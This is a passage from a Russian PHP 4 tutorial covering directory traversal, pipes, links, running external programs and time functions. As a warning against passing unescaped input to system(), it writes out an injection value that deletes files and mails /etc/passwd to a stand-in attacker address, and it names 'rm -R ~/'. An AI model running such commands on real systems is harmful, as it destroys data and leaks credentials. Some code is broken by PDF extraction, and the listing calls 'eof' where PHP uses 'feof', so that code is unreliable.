Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Самоучитель по PHP 4

.pdf
Скачиваний:
82
Добавлен:
02.05.2014
Размер:
4.36 Mб
Скачать

Глава 16. Работа с каталогами

271

Листинг 16.1. Печать дерева каталогов в файловой системе

<?

//Функция распечатывает имена всех подкаталогов в текущем каталоге,

//выполняя рекурсивный обход. Параметр $level задает текущую

//глубину рекурсии.

function PrintTree($level=1)

{

// Открываем каталог и выходим в случае ошибки $d=@opendir(".");

if(!$d) return; while(($e=readdir($d))!==false) {

//Игнорируем элементы .. и . if($e=='.'||$e=='..') continue;

//Нам нужны только подкаталоги if(!@is_dir($e)) continue;

//Печатаем пробелы, чтобы сместить вывод for($i=0; $i<$level; $i++) echo " ";

//Выводим текущий элемент

echo "$e\n";

// Входим в текущий подкаталог и печатаем его if(!chdir($e)) continue; PrintTree($level+1);

//Возвращаемся назад chdir("..");

//Отправляем данные в браузер, чтобы избежать видимости зависания

//для больших распечаток

flush();

}

closedir($d);

}

//Выводим остальной текст фиксированным шрифтом echo "<pre>";

echo "/\n";

//Входим в корневой каталог и печатаем его chdir("/");

PrintTree(); echo "</pre>"; ?>

272

Часть IV. Стандартные функции PHP

Сразу хочу предупредить, что результат работы этого сценария представляет собой довольно длинную распечатку. Кроме того, программа работает медленно, т. к. ей нужно будет обойти тысячи каталогов вашей системы.

Последний факт делает метод рекурсивного обхода каталогов совершенно не- пригодным для автоматического построения карты сервера. В случае приме-

нения технологии кэширования информации между запусками сценариев для больших сайтов построение карты даже, скажем, раз в час, выглядит довольно плачевно. Как обойти эту трудность (фактически, используя кэш и разделен- ные вычисления) рассказано в части V этой книги.

Глава 17

Каналы и символические ссылки

Вообще-то, каналы и символические ссылки — совершенно разные вещи. Однако у меня есть по крайней мере два веских основания для того, чтобы сгруппировать их описания в одном месте.

rИ то и другое сколько-нибудь результативно можно использовать лишь в системах на основе Unix, в других же операционных системах функции либо не реализованы, либо просто не работают.

rПримерно лишь один сценарий на PHP из тысячи может нуждаться в создании и использовании каналов и символических ссылок.

Каналы

Давайте начнем с каналов. Мы уже привыкли, что можем открыть какой-то файл для чтения при помощи fopen(), а затем читать или писать в него данные. Теперь представьте себе немного отвлеченную ситуацию: вы хотите из сценария запустить какуюто внешнюю программу (скажем, утилиту mail для отправки или приема почты). Вам нужен будет механизм, посредством которого вы могли бы передать этой утилите данные (например, E-mail и текст письма), а затем получить результат работы программы.

Можно, конечно, заранее сохранить данные для запроса в отдельном временном файле, затем запустить программу, передав ей этот файл в параметрах и направив результат в другой файл, а затем считать его и таким образом решить задачу. Этот способ вполне приемлем (хотя и несколько медлителен), если вы используете утилиту, которая работает не в режиме диалога (а только читает запрос и возвращает ответ). Однако, если после ответа программы-утилиты ей нужно будет послать какой-то другой запрос, не перезапускаясь, то задача становится на этом уровне неразрешимой. Как раз в такой ситуации и удобно использовать межпроцессные каналы. И вот как это работает.

//Запускаем процесс /bin/ls (параллельно работе сценария) в режиме

//чтения. Эта утилита Unix просто распечатывает содержимое текущего

//каталога, а ключ -l заставляет ее детализировать распечатку.

274

Часть IV. Стандартные функции PHP

$fp=popen("/bin/ls -l","r");

//Теперь мы можем работать с $fp как с обычным файловым

//идентификатором. То есть выполнять функции чтения. for($Lines=array(); !eof($fp);)

$Lines[]=fgets($fp,1000);

//Не забудем также закрыть канал.

pclose($fp);

Теперь более подробно. По команде popen() запускается указанная в первом параметре программа, причем выполняется она параллельно сценарию. Соответственно, управление сразу возвращается на следующую строку, и сценарий не ждет, пока завершится наша утилита (в отличие от функции system(), которая будет вскоре рассмотрена). Второй параметр задает режим работы: чтение или запись, точно так же, как это делается в функции fopen().

Хочу обратить ваше внимание на то, что канал нельзя открыть в режиме одно- временного чтения и записи. Что послужило этому причиной? Ответ на по- ставленный вопрос в деталях занял бы слишком много места, чтобы помес- титься в этой книге, но в двух словах можно сказать так: из-за буферизации ввода-вывода реально возникновение ситуации, когда процесс-родитель будет находиться в режиме ожидания данных от запущенного сына, а сын будет ждать данные от родителя. Таким образом, возникает состояние взаимной блокировки: оба процесса оказываются приостановлены. В общем случае эта проблема неразрешима, если у нас нет полного контроля над кодом процесса- сына.

Далее в нашем примере происходит вот что. Стандартный вывод утилиты (тот, который по умолчанию всегда является просто выводом на экран — да простят меня поклонники Unix, но все-таки так будет проще объяснить, не разъясняя, что такое перенаправление ввода-вывода и какую роль оно играет в этой ОС) прикрепляется к идентификатору $fp. Теперь все, что печатает утилита (а в нашем случае она печатает содержимое каталога), может быть прочитано при помощи обычных вызовов файловых функций чтения — fgets(), fread() и т. д.

Программа ls не ждет никакого ввода (однако в общем случае это далеко не всегда так), вот почему мы пользуемся только серией вызовов fgets(). После того, как "дело сделано", канал $fp, вообще говоря, нужно закрыть. Если он ранее был открыт в режиме записи, утилите "на том конце" передается, что ввод данных "с клавиатуры" завершен, и она может закончить свою работу.

В PHP не существует функций, которые могли бы открывать канал к дочернему процессу в режиме чтения и записи.

Глава 17. Каналы и символические ссылки

275

Теперь, когда мы разобрались с каналами, давайте посмотрим, что предлагает нам PHP для работы с символическими ссылками.

Символические ссылки

Для начала (для тех, кто не знает) — что это такое? В системе Unix (да и в других ОС в общем-то тоже) довольно часто возникает необходимость иметь для одного и того же файла или каталога разные имена. При этом логично одно из имен назвать основным, а все другие — его псевдонимами. В терминологии Unix такие псевдонимы на-

зываются символическими ссылками.

Символическая ссылка — это просто бинарный файл специального вида, который содержит ссылку на основной файл. При обращении к такому файлу (например, открытию его на чтение) система "соображает", к какому объекту на самом деле запрашивается доступ, и "прозрачно его обеспечивает. Это означает, что мы можем использовать символические ссылки точно так же, как и обычные файлы (в частности,

работают fopen(), fread()

и т. д.) Однако иногда нужно бывает работать со ссылкой именно как со ссылкой (простите за тавтологию), а не как с файлом. Для этого и существуют перечисленные ниже функции PHP.

string readlink(string $linkname)

Возвращает имя основного файла, с которым связан его синоним $linkname. Это бывает полезно, если вы хотите узнать основное имя файла, чтобы, например, удалить сам файл, а не ссылку на него. В случае ошибки функция возвращает значение "ложь".

bool symlink(string $target, string $link)

Эта функция создает символическую ссылку с именем $link на объект (файл или каталог), заданную в $target. В случае "провала" функция возвращает false.

array lstat(string $filename)

Функция полностью аналогична вызову stat(), за исключением того, что если $filename задает не файл, а символическую ссылку, будет возвращена информация именно об этой ссылке (а не о файле, на который она указывает, как это делает stat()).

int linkinfo(string $linkname)

Функция возвращает значение поля "устройство" из результата, выдаваемого функцией lstat(), которую мы рассматривали выше. Ее обычно задействуют, если хотят определить, существует ли еще объект, на который указывает символическая ссылка в $linkname. Я предпочитаю пользоваться для этого вызовом stat(), т. к., помоему, ее название несколько более "читабельно".

276

Часть IV. Стандартные функции PHP

Нужно добавить, что можно совершенно спокойно удалять символические ссылки, не опасаясь за содержимое основного файла. Это делается обычным способом — например, вызовом unlink() или rmdir().

Жесткие ссылки

И в конце этой главы я хочу рассмотреть еще один вид ссылок — жесткие ссылки. Оказывается, создание символической ссылки — не единственный способ задать для одного файла несколько имен. Главный недостаток символических ссылок, как вы, наверное, уже догадались, — существование основного имени файла, на которое все и ссылаются. Попробуйте удалить этот файл — и вся "паутина" ссылок, если таковая имелась, развалится на куски. Есть и другой недостаток: открытие файла, на который указывает ссылка, происходит несколько медленнее, т. к. системе нужно проанализировать содержимое ссылки и установить связь с "настоящим" файлом. Особенно это чувствуется, если одна ссылка указывает на другую, та — на третью и т. д. уровней на 10.

Жесткие ссылки позволяют вам иметь для одного файла несколько совершенно равноправных имен, причем доступ по ним осуществляется одинаково быстро. При этом, если одно из таких имен будет удалено (например, при помощи unlink()), то сам файл удалится только в том случае, если данное имя было последним, и других имен у файла нет. Сравните с символическими ссылками, удаляя которые файл испортить нельзя.

Зарегистрировать новое имя у файла (то есть создать для него жесткую ссылку) можно с помощью функции link(). Ее синтаксис полностью идентичен функции symlink(), да и работает она по тем же правилам, за исключением того, что создает не символическую, а жесткую ссылку. Фактически, вызов link() — это почти то же, что и rename(), только старое имя файла не удаляется, а остается.

Напоминаю, работает это все только в Unix, но не в Windows. И почему только до таких вещей не додумались парни из Microsoft?..

Глава 18

Запуск внешних программ

Функции запуска внешних программ в PHP востребуются достаточно редко. Их "непопулярность" объясняется прежде всего тем, что при использовании PHP программист получает в свое распоряжение почти все возможности, которые могут когдалибо понадобиться, в частности, почтовые функции, на которые приходится львиная доля вызовов внешних программ в других языках — например, в Perl. Тем не менее, в числе стандартных функций языка присутствует полный набор средств, предназначенных для запуска программ и утилит операционной системы.

string system(string $command [,int& return_var])

Эта функция, как и ее аналог в Си, запускает внешнюю программу, имя которой передано первым параметром, и выводит результат работы программы в выходной поток, т. е. в браузер. Последнее обстоятельство сильно ограничивает область применения функции.

Впрочем, задействуя функции перенаправления вывода, мы все-таки можем получить и обработать то, что выдала нам запущенная программа, но стоит ли игра свеч? Может быть, лучше воспользоваться более подходящими средст- вами?

Если функции передан также второй параметр — переменная (именно переменная, а не константа!), то в нее помещается код возврата вызванного процесса. Ясно, что это требует от PHP ожидания завершения запущенной программы — так он и поступает в любом случае, даже если последний параметр не задан.

Не нужно и говорить, что при помощи этой функции можно запускать только те команды, в которых вы абсолютно уверены. В частности, никогда не переда- вайте функции system() данные, пришедшие из браузера пользователя (предварительно не обработав их) — это может нанести серьезный урон ва- шему серверу, если злоумышленник запустит какую-нибудь разрушительную утилиту например, rm -R ~/, которая быстро и "без лишних слов" очистит весь ваш каталог.

278

Часть IV. Стандартные функции PHP

Как уже упоминалось, выходной поток данных программы направляется в браузер. Если вы хотите этого избежать, воспользуйтесь функциями popen() или exec(). Если же вы, наоборот, желаете, чтобы выходные данные запущенной программы попали прямиком в браузер и никак при этом не исказились (например, вы вызываете программу, выводящую в стандартный выходной поток какой-нибудь GIF-рисунок), в этом случае в самый раз будет функция PassThru().

string exec(string $command [,list& $array] [,int& $return_var])

Функция exec(), как и system(), запускает указанную программу или команду, однако, в отличие от последней, она ничего не выводит в браузер. Вместо этого функция возвращает последнюю строку из выходного потока запущенной программы и, если задан параметр $array (который обязательно должен быть переменной), то он заполняется списком строк в выходном потоке — по одной строке на элемент.

Если массив уже содержал какие-то данные перед вызовом exec(), новые строки просто добавляются в его конец, а не заменяют старое содержимое массива. Учитывайте это в своих программах, иначе нетрудно получить очень нетривиальную ошибку.

Как и в функции system(), при задании параметра-переменной $return_var код возврата запущенного процесса будет помещен в эту переменную. Так что функция exec() тоже дожидается окончания работы нового процесса и только потом возвращает управление в PHP-программу.

string EscapeShellCmd(string $command)

Помните, мы говорили о том, что нельзя допускать возможности передачи данных из браузера пользователя (например, из формы) в функции system() и exec()? Если это все же нужно сделать, то данные должны быть соответствующим способом обработаны: например, можно защитить все специальные символы обратными слэшами, и т. д. Это и делает функция EscapeShellCmd(). Чаще всего ее применяют примерно в таком контексте:

system("cd ".EscapeShellCmd($to_directory));

Здесь переменная $to_directory пришла от пользователя — например, из формы или Cookies. Давайте посмотрим, как злоумышленник может стереть все данные на вашем сервере, если вы по каким-то причинам забудете про EscapeShellCmd(), написав следующий код:

system("cd $to_directory"); // Никогда так не делайте!

Задав такое значение для $to_directory:

~; rm -R *; sendmail hacker@domain.com </etc/passwd

Глава 18. Запуск внешних программ

279

разрушитель добьется своего разрушительного результата, а заодно и пошлет себе по почте файл /etc/passwd, который в Unix-системах содержит данные об именах и паролях пользователей.

string PassThru(string $command [,int& $return_var])

Эта функция запускает указанный в ее первом параметре процесс и весь его вывод направляет прямо в браузер пользователя, один-в-один. Она может пригодиться, если вы воспользовались какой-нибудь утилитой для генерации изображений "на лету", оформленной в виде отдельной программы (в PHP есть гораздо более мощные встроенные функции для работы с изображениями, которые работают быстрее, поэтому я не рекомендую вам применять PassThru() даже в подобных целях). Давайте рассмотрим пример использования этой функции:

Header("Content-type: image/jpeg");

PassThru("cat my_image.jpg");

Функция Header(), которую мы рассмотрим в другой главе, сообщает браузеру пользователя, что данные поступят в графическом формате JPEG, а последующий вызов утилиты cat с параметром — именем файла с рисунком — заставляет систему "распечатать" файл в браузер пользователя.

Глава 19

Работа с датами и временем

В PHP присутствует полный набор средств, предназначенных для работы с датами и временем в различных форматах. Дополнительные модули (входящие в дистрибутив PHP) позволяют также работать с календарными функциями и календарями различных народов мира. Мы рассмотрим только самые популярные из этих функций.

Представление времени в формате timestamp

int time()

Возвращает время в секундах, прошедшее с полуночи 1 января 1970 года по Гринвичу до настоящего момента. Этот формат данных принят в Unix как стандартный: в частности, время последнего изменения файлов указывается именно в таком формате (как вы, возможно, помните по описанию функции file_mtime()). Вообще говоря, почти все функции по работе со временем имеют дело именно с таким его представлением (которое называется timestamp). То есть представление "количество секунд с 1 января 1970 года весьма универсально и, что главное, — удобно.

На самом-то деле, timestamp не отражает реальное (астрономическое) число секунд с 1 января 1970 года, а немного отличается от него. Впрочем, это нис- колько не умаляет преимущества от его использования.

string microtime()

Возвращает строку в формате: "микросекунды секунды", где секунды — то, что возвращается функцией time(), а микросекунды — дробная часть секунд, служащая для более точного измерения промежутков времени. Эта функция работает только в системах, которые поддерживают системный вызов gettimeofday(), т. е. практически во всех.